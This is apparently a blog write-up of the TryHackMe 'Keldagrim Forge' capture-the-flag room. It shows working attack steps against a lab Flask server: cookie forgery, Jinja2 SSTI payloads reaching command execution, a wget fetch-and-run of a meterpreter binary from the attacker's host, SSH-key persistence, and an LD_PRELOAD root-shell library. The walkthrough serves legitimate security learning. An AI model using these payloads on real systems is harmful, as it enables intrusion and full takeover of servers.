TryHackMe: Keldagrim Forge

TryHackMe: Keldagrim The dwarves are hiding their gold! Created by optional

Enumeration

You know the drill, add the box to our /etc/hosts then run trusty ol' rustscan against it.

╰─⠠⠵ rustscan -a forge --ulimit 10000 -- -sC -sV -A -oA forge   
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.36.223:22
Open 10.10.36.223:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-31 13:05 GMT

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d8:23:24:3c:6e:3f:5b:b0:ec:42:e4:ce:71:2f:1e:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ElGI0HLd8mhCV1HC0Mdnml4FZPMr17SrcABm6GMKV0g5e4wQNtSPAvXhGj696aoKgVX1jDbe4DzDGr3jDkLjXegnpqQyVQnSYV7Cz9pON4b9cplT/OPK/7cd96E7tKFsZ3F+eOM51Vm6KeYUbZG0DnHZIB7kmPAH+ongqQmpG8Of/wXNgR4ONc6dD/lTYWCgWeCEYT0ERlErkqM05mO9DwV+7Lr+AZhAZ8afx+NSpV17gBZzjmqT4my3zMAf3Ne0VY/exvb807YKiHmPPaieE8KxjfRjcsHGsMuYesDm3m0cUvGSdp2xfu8J5dOSNJc5cVse6RBTPmPu4giRtm+v
|   256 c6:75:e5:10:b4:0a:51:83:3e:55:b4:f6:03:b5:0b:7a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBETP4uMiwXXjEW/UWp1IE/XvhxASBN753PiuZmLz6QiSZE3y5sIHpMtXA3Sss4bZh4DR3hoP3OhXgJmjCJaSS4=
|   256 4c:51:80:db:31:4c:6a:be:bf:9b:48:b5:d4:d6:ff:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJVgfo2NhVXDfelQtZw0p6JWJLPk2/1NF3KRImlYIIul
80/tcp open  http    syn-ack Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-cookie-flags: 
|   /: 
|     session: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title:  Home page 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds

Open Ports

22/ssh

As we do not have a username/password we will skip this for now

80/http

From the above http-server-header: Werkzeug/1.0.1 Python/3.6.9 we can see that this is Python Application Server. Looking around there is not that much I can spot from first glance apart form a disabled /admin link.

User.txt

Ok, so first thing I am going to target is the /admin from above. Hitting the /admin endpoint does not seem to do much... Hmm let's take a look at our cookies....

Hmm.... that looks like base64

╰─⠠⠵ echo "Z3Vlc3Q=" | base64 -d
guest%       

Ok, lets encode admin and overwrite our cookie

╰─⠠⠵ echo -n admin | base64 
YWRtaW4=

We now have a sales cookie which is again base64 encoded.

╰─⠠⠵ echo -n JDIsMTY1 | base64 -d
$2,165%  

Now if we look at /admin we have Current user - $2,165

If we change the value to another base64 string we can see that on refresh the page displays what we put... this could be our way in!

Trying a few things it appears to only decode and print the input..... Ok when I do some research on that lets kick off gobuster

╰─⠠⠵ gobuster dir -u http://forge/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sql,db,sqlite,dblite,tar.tar.gz,tgz,gz,txt,bak,zip,html,csv,xls,xlsx
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://forge/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     tgz,bak,xls,gz,zip,xlsx,db,sqlite,tar.tar.gz,csv,php,dblite,txt,py,sql,html
[+] Timeout:        10s
===============================================================
2021/01/31 13:52:21 Starting gobuster
===============================================================

gobuster didn't come back with anything interesting but after googling around I ended up at https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee ... Using CyberChef I URL Encoded and Base64 Encode the payload {{ config.items() }} and placed it in the sales cookie.

JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=

Ok, we have gotten further but now need to get RCE from this. Now we inject {{ config.from_object('os') }} followed by the above {{ config_items() }} again.

JTdCJTdCJTIwY29uZmlnJTJFZnJvbSU1Rm9iamVjdCUyOCUyN29zJTI3JTI5JTIwJTdEJTdE

Current user - None

JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=

Now we have more output... Next we inject {{ ''.__class__.__mro__[1].__subclasses__() }}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU3RCU3RA==

Now inject {{''.__class__.__mro__[1].__subclasses__()[284:]}}

JTdCJTdCJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSU1QjI4NCUzQSU1RCU3RCU3RA==

ANd search for subproccess.Popen adjust 284 above until you find the index of of subproccess.Poen ( in my case 401 ) we can then use the below to execute our commands

{{ ‘’.__class__.__mro__[1].__subclasses__() [401](‘ls’,shell=True,stdout=-1).communicate()}}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN2xzJTI3JTJDc2hlbGwlM0RUcnVlJTJDc3Rkb3V0JTNEJTJEMSUyOSUyRWNvbW11bmljYXRlJTI4JTI5JTdEJTdEJTBB

We can then use the above to cat our user.txt

{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}

{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}

Root.txt

Now we have the user.txt and RCE let's see if we get a shell to call back to us. I tried my usual bash rshell but didn't appear to work so I created a msfvenom reverse meterpreter binary and used wget to download it.

{{ ''.__class__.__mro__[1].__subclasses__() [401]('wget http://10.9.5.198:8080/shell444; chmod +x shell444; ./shell444',shell=True,stdout=-1).communicate()}}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN3dnZXQlMjBodHRwJTNBJTJGJTJGMTAlMkU5JTJFNSUyRTE5OCUzQTgwODAlMkZzaGVsbDQ0NCUzQiUyMGNobW9kJTIwJTJCeCUyMHNoZWxsNDQ0JTNCJTIwJTJFJTJGc2hlbGw0NDQlMjclMkNzaGVsbCUzRFRydWUlMkNzdGRvdXQlM0QlMkQxJTI5JTJFY29tbXVuaWNhdGUlMjglMjklN0QlN0QlMEE=

This then called back to metasploit and I had a shell as jed.

[*] Meterpreter session 1 opened (10.9.5.198:4444 -> 10.10.89.31:56912) at 2021-01-31 15:59:45 +0000

meterpreter > shell
Process 1682 created.
Channel 1 created.

ls
app
shell444
user.txt
python3 -c 'import pty;pty.spawn("/bin/bash")'
jed@keldagrim:~$ 

jed@keldagrim:~$ 

I then setup persistence by adding my ssh key to /home/jed/.ssh/authorized_keys. I then used ssh to connect as jed to get a decent shell. Once logged in I run the usual sudo -l to check what we can do.

Matching Defaults entries for jed on keldagrim:                                                                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,       
    env_keep+=LD_PRELOAD                                                                                                     
                                                                                                                             
User jed may run the following commands on keldagrim:                                                                        
    (ALL : ALL) NOPASSWD: /bin/ps          

Checking GTFOBins it does not look like ps has any exploits. So let's grab and run linpeas.sh to see what we can find...

Looking through the output I realized I should have looked closer at the sudo -l output.

Doing some research on this it looks like we can inject our own libraries. Using the guide here I changed into /tmp and created a new file with the following contents

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

I then used the gcc installed to build the library file

jed@keldagrim:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
 setgid(0);
 ^~~~~~
 setenv
shell.c:7:1: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
 setuid(0);
 ^~~~~~
 setenv

Once built we can execute sudo using LD_PRELOAD to get a root shell.

jed@keldagrim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so ps
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
thm{[REDACTED]}
# 

Boom!!!

Another box done, thanks to @optionalctf for putting the room together, it was frustrating but enjoyable and learned some stuff about SSTI :) .

Also thank you to @kimschulz for confirming I was going the right track.